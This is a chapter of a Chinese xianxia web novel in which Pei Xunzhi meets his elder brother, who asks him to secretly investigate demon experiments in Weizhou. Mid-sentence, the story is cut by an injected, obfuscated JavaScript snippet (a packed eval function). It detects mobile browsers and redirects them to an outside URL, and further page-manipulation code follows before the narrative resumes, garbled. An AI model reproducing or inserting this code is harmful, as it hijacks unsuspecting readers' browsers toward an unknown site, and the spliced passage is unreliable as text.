孤山聿彻底哽住,感觉自己像个傻子。 他两眼一黑,再次无力瘫倒,喃喃道:“我在期待什么?” 裴浔之也被骗了,他还真以为是什么厉害的法器。他额角一抽:“你是傻子吗云知微?” “这真的很灵的,”云知微瞪了一眼裴浔之,“裴濯,你就知道动嘴皮子,有本事你上啊。” 然后双手交握,望着房顶,自言自语道:“若是小师兄在就好了,他那么厉害,肯定能带我们离开任何危险的地方。” 孤山聿偷偷瞥了一眼裴浔之,“呵”了一声,嘟囔道:“他最好是。” 裴浔之什么也没说,突然站起来,活动一下脖子,几步走到门口,重重一拍:“来人!” 云知微瞪大眼,起身去拉他:“裴濯你别这么小心眼!不要命啦!我开玩笑的,不是真的让你上,快回来!” 裴浔之并不理会,伸脚猛踹门:“来人!不然老子把……” 嘎吱—— 门骤然打开,那黑衣女子立在门口,黑巾依旧盖着半张脸,只露出一双冷冰冰的俏丽双眸。 她不声不响地侧身让开。 裴浔之目不斜视地走出去。 门吧嗒一声重新关上。 云知微呆住,揪了揪辫子,一脸苦恼:“哎,裴濯为何这般冲动,这下可怎么办呢。” “等死吧。”孤山聿烂泥一般靠着墙,有气无力。 “别装了,赶紧把你那破布扯了。” 门外,裴浔之跟在那黑衣女子身后走了几步,语气不怎么好地下命令。 黑衣女子站定,露出的双眸闪过一丝不悦,但还是扯下遮面的黑巾,转身,垂眸拱手:“惊蛰见过二少主。” “人呢?” 裴浔之懒得同她废话。 惊蛰比了个“请”的手势:“二少主且随我来。” 两人走到朱金漆长廊的尽头,爬上一个螺旋式的梯子,来到上一层。 上一层是一个标准的三进院落,他们上来后,刚好从正院小花园的假山出来。 惊蛰一指花园面对的正房:“二少主,这里便是了。” 裴浔之推开门,径直走进去。 房间里,一个二十出头的青年,身着一袭素雅银袍,坐于一方黑木桌案后,左手捧一卷书,右手执笔在宣纸上行云流水。 举手投足间,尽显温润儒雅。 “阿浔,你来了。” 银袍青年看见裴浔之,立刻放下手中书笔,理了理衣袖,绕过桌案,疾步上前相迎。 裴浔之无视他热情伸来的手,走到房中的圆桌旁,拉出梨花木交椅,一股屁坐下,伸手拎起茶壶,给自己斟茶。 “好久不见,兄长。” 这青年正是神都裴氏的大少主,裴浔之的兄长,裴远洺。 裴远洺笑了笑,好脾气地收回没有得到回应的双手,不以为意,隔着圆桌,在裴浔之对面坐下:“这茶是你最爱喝的水果茶,放了柚子、蜂蜜、橘子、草莓。” 裴浔之一仰头,一口气喝完,没什么感情道:“多谢兄长。” 裴远洺笑道:“一年不见,怎么同我生疏许多?” 裴浔之将茶杯放在手中把玩,漫不经心道:“兄长都将把我当阶下囚对待了,浔之不敢僭越。” 闻言,裴远洺立刻明白了什么,叹气道:“惊蛰是把你绑来的?” 裴浔之“嗯哼”一声。 裴远洺不明显地叹了口气,拿出孤山镜,划拉两下然后放下,提壶给裴浔之倒了一杯水果茶,推过去:“此事我的确不知,是她擅作主张,我回头一定训她。” “不必,为我拦下大夫人的截杀,兄长是仁至义尽了。” 裴浔之接过水果茶,再次一饮而尽,冲目光闪烁的裴远洺抬了抬下巴。 方才初遇惊蛰时,他在她身上嗅到一丝杀意的余烬以及来不及清理的血腥味。 想来,定是神都的大夫人——裴远洺的亲生母亲——派来杀手,而裴远洺让惊蛰率先解决了。 裴远洺见瞒不过,握拳掩唇,苦笑一声。 “阿浔,大夫人是大夫人,我是我,我对帝主之位不感兴趣,你得信我。” “我来是想告诉你,你如今才三境,独自在外甚是危险,若方才不是惊蛰出手……” 裴浔之不怎么友善地打断他:“若不是她出手捣乱,这会儿我都坐上孤山聿的飞鸢到蔚州了。再说,我手上有爆灵珠,能有什么危险?” “爆灵珠这个东西……” 裴远洺不赞同地摇摇头,但似乎是知道多说无益,于是话头一转。 “爆灵珠不仅贵,九州也没几颗。孤山聿那小子对你甚是不错,若是孤山氏能站在你这边,那……” 裴浔之眉头一紧,语气不善:“我同他结交,与他的身份无关。你们爱怎么联合纵横我管不着,但别算计我朋友。反正,等我拿到帝王印,一定给神都,你们谁爱当那破帝主谁就去当,我不感兴趣。” 一口气说完,他掏出糖盒,扔几块水果糖到口中,嘎嘣狠嚼。 每每聊到帝印和帝主之位的事,裴浔之的脾气就不怎么好。 裴远洺点点头,表示自己不说了,沉默半晌后,才缓慢开口:“父亲还是很担心你的。” 裴浔之扬了扬眉:“他怎么说?” 裴远洺顿了顿:“父亲说……” 啪嗒—— 一个瓷白的茶杯被狠狠摔到地上,四分五裂。 神都的家主裴南锦,铁青的面容上胡须愤怒颤抖,大发雷霆。 “这无知孽障!出了这么大的事,不同族中商量就这般自作主张!让他自个去罢!拿不回帝王骨就别回来了!一个区区三境不配当神都的少主!” 裴远洺跪在地上,任由茶杯碎片溅到脸上,划出一道浅浅的血痕,语气平和道:“父亲息怒,浔之如今才十六,做事莽撞一些也是情有可原的。儿愿带人前去将他抓回来,让他闭门思过。” “闭门思过?”裴南锦冷哼一声,“他如今自己主意这么大,就是你这个当兄长的惯的!既然他想去妖域寻死,那就随他!” 裴远洺垂眸,欲言又止,到底还是开口请求:“父亲,妖域实在危险,可否容儿臣带人去保护……” “保护什么!那妖域是什么地方?!是有去无回的炼狱!我神都一干好手怎可仅仅为他一人折损?” 裴南锦重重拍桌,勃然大怒,唾沫横飞。 “我神都向来英才辈出,你也是九境高阶半步绝圣了,旁系还有好几个十岁出头就修至七八境的孩子,拿到帝印的希望又不只是在他裴浔之一个人身上!仗着有一根帝王骨就整日拿腔拿调不成体统!我警告你,把心思放在正事上,少琢磨这些无用的事!滚下去!” 裴远洺立马俯身贴地,双手交叠,额头放上去:“父亲息怒,儿臣知错。” 话说完,他缓缓起身,却没离开,仍旧直挺挺地跪在原地。半晌后,再次开口:“父亲,儿臣还有一事,是关于仙庭陆氏的。” “说。”裴南锦揉了揉打结的眉心。 裴远洺道:“之前天墟宗在追查黑市售卖一步登天一事,查到源头在蔚州的济世堂;一日前,陆玉珩动身前往蔚州。” “蔚州虽是陆氏管辖地,但因地处偏远,之前从未见仙庭本家亲自前去。因而,儿觉得蔚州或有蹊跷,想派人手前去探查,但……” 他说到此处,面露难色。 裴南锦睨了他一眼,摆摆手:“别同我绕弯子了,想说什么就直说。” “但我身为神都大少主,太多双眼睛在盯着,不方便亲自去。而浔之恰好要以天墟宗弟子的身份去蔚州做任务,再加上他目前化名为裴濯,自称属于裴氏旁系,与本家关系不大,应该没什么人注意他,刚好可以探查此事。” 陆玉珩正色道。 为了避免裴南锦又暴怒,他没有提裴浔之给裴 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15167389|164591||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 濯安了一个私生子的名头。 裴南锦思忖片刻,点头应了:“也好,你来安排罢。” 裴远洺压下脑海中的回忆,面不改色道:“父亲说,无论能不能拿到帝王骨,你都要平安回来。阿浔,只要性命尚存,凭你的天赋和努力,也能很快入九境晋绝圣。不必执念。” 裴浔之双手交叠抱在胸前,右脚脚腕搭在左膝上,缓慢地瞥了裴远洺一眼,没什么情绪地“哦”了一声。 “对了阿浔,给你看个东西。” 裴远洺起身,去桌案上拿来十几张水晶片,回来递给裴浔之。 裴浔之接过来,一一翻看。 第一张水晶片上,铺满一个被一截木头撑开的鸟喙;鸟喙中,长出密密麻麻的狗牙。 第二张水晶片上,则是一张熊的血盆大口,里面张牙舞爪地立着一排蛇牙。 第三张、第四张……皆是类似的画面,水晶片的视觉中心都聚焦在妖物的牙齿上。 翻完最后一张,他眉梢一挑:“有意思。” 这些妖物的嘴里,都有一颗牙齿被写上字。 甲壹贰,乙肆,丁叁肆,丙捌…… 看起来像是编号。 “这些,是在你渡劫时出现的妖,以及今日林中的。”裴远洺补充道。 裴浔之将水晶片扔到桌上,凝眉分析道:“能在妖物的牙齿上刻字,说明刻字的人可轻而易举地操纵它们,而且每一只都有编号……” 他回想起,之前在天墟宗,崔九斯服下用微量妖脉炼制的一步登天,后受到含有大剂量妖脉的一日癫刺激,便妖化了。 “这是有人在炼妖?”他眉间一紧。 裴远洺点头:“我亦这般想。” “我在天墟宗翻阅过相关记载,将妖脉灌入人体内,的确可以让人妖化,功力大增,可问题是——”裴浔之顿了顿,继续道,“妖脉会与人体内的灵脉相冲,功力短暂提升后,几日内便会暴毙,没甚么用。” “仙庭那群陆狗灵石多了没地方花,会做这种得不偿失的事?” 裴远洺听到“陆狗”二字时,张了张嘴,似乎想让个裴浔之注意措辞,但忍住了。 等裴浔之说完,他才道:“不错,我同你想法一致。但能花费巨额灵石来试验此事的,除了陆氏、崔氏、孤山氏,九州应该不存在第四股势力。” 裴浔之顺口接话:“不还有裴氏么?” 闻言,裴远洺第一次沉了脸色,严肃道:“阿浔,这种玩笑话你我兄弟之间讲讲也就罢了,在外面可千万不得口不择言。” 自从裴见霜与妖勾结导致神都蒙羞后,家主大怒,严令神都上上下下都不得与妖有任何沾染。 仙庭、玉京、孤山氏以及一些中小世家,甚至于一些家境稍殷实的修士,都会或多或少地养妖为奴仆。 但神都,里里外外一只妖都没有,甚至于若是飞进一只沾了妖气的苍蝇,都会立刻被就地斩杀,以正视听。 “知道了。”裴浔之无所谓地摆摆手。 他一直都觉得,裴氏太过于谨小慎微了。 百年前的妖祸,导致大量妖气从妖域泄出,侵染九州;九州的动植物吸食妖气,长出意识,化为人形,是为妖灵。 大部分妖灵都很弱,比如云知微身边那个紫藤;而对于少数能力强的,是可以用缚灵契来控制的;其实犯不着如此避讳。 神都只是想借此行为来宣告自己绝不会与妖有任何牵连,从而彻底摆脱裴见霜给神都带来的泼天骂名。 裴远洺训人是点到即止,面色恢复如常,继续道:“我收到消息,陆玉珩已动身前往蔚州,我怀疑仙庭在蔚州做甚么勾当。” 蔚州位于昆吾山脚下,而在昆吾山后,便是被帝主封印的妖域;若是仙庭在做什么妖相关的试验,蔚州的确是个很合适的地方。 裴浔之立刻明白了,“哦”了一声:“是想让我继续顶着裴濯的皮,去蔚州顺便查查陆狗?” 裴远洺顿了顿,垂了垂眸,颔首:“是。” 旋即又连忙补道:“但若你不想,也没关系,我想别的法子。” “还能有什么法子?蔚州可是陆氏辖地,神都但凡是个有身份的人去,怕是城门都进不去。”裴浔之语气轻松,顶着三境修为大言不惭,“小事一桩,我接了。” “阿浔,麻烦你了,”裴远洺松了口气,接着面色又浮上一层忧虑,“你别老想着吃那爆灵珠,惊蛰他们会暗中跟着你,需要的时候你尽管下令。记住,你的命比此事重要,若遇到危险查不下去,就放弃。明白吗?” “嗯嗯嗯,”裴浔之敷衍回应,“能别让他们跟着我么?” 裴远洺身边有一干训练有素的暗卫,名唤二十四节气,方才那黑衣女子——惊蛰——是为首领。 “不行,事关你安危,没得商量。”裴远洺语气难得强硬。 他将水晶片归拢理好,收入灵戒内,问裴浔之:“对了阿浔,你饿不饿?” 裴浔之如今只有三境,对于食物和睡眠的要求,自然也比从前高。 裴浔之刚要摇头拒绝,突然想起了什么,从灵戒里拿出云知微给他带的三块桂花糕:“我有吃的。” 裴远洺诧异地盯着那三块还带着泥点子和血点子的桂花糕,还没来得及出声阻拦,就见裴浔之浑不在意地扔进嘴里,三下五除二一口气吃得干干净净。 “阿浔你这……”他深呼吸一口气,内疚不已。 这桂花糕,糕体干瘪、色泽黯淡,看上去口感硬涩,而且还是脏的,定然难以下咽;可裴浔之却吃得毫不犹豫,定然是身上没灵石买正经吃食了。 他压下心中酸楚,从灵戒里拿出一张价值五十万灵石的灵票,递给裴浔之:“阿浔,你拿着。” 裴浔之刚好喝完润喉的水果茶,一脸莫名其妙。 在灵石这方面,神都从未短过他,天墟宗每月发的月钱也完全够他用。 他拒绝:“不用,我有。” 顿了顿,他脑海里突然闪过云知微和罗不敢凑在一块翻阅孤山镜的场景。 孤山镜是九州修士用的通讯器物,很是昂贵,一般在大城镇里才有卖的;蔚州那种鸟不拉屎的边塞小城,定然没有卖的。 “那个,兄长,”裴浔之犹豫了下,有些不自然摸了摸鼻尖,一副很随意的语气,“你手里有多的孤山镜吗?”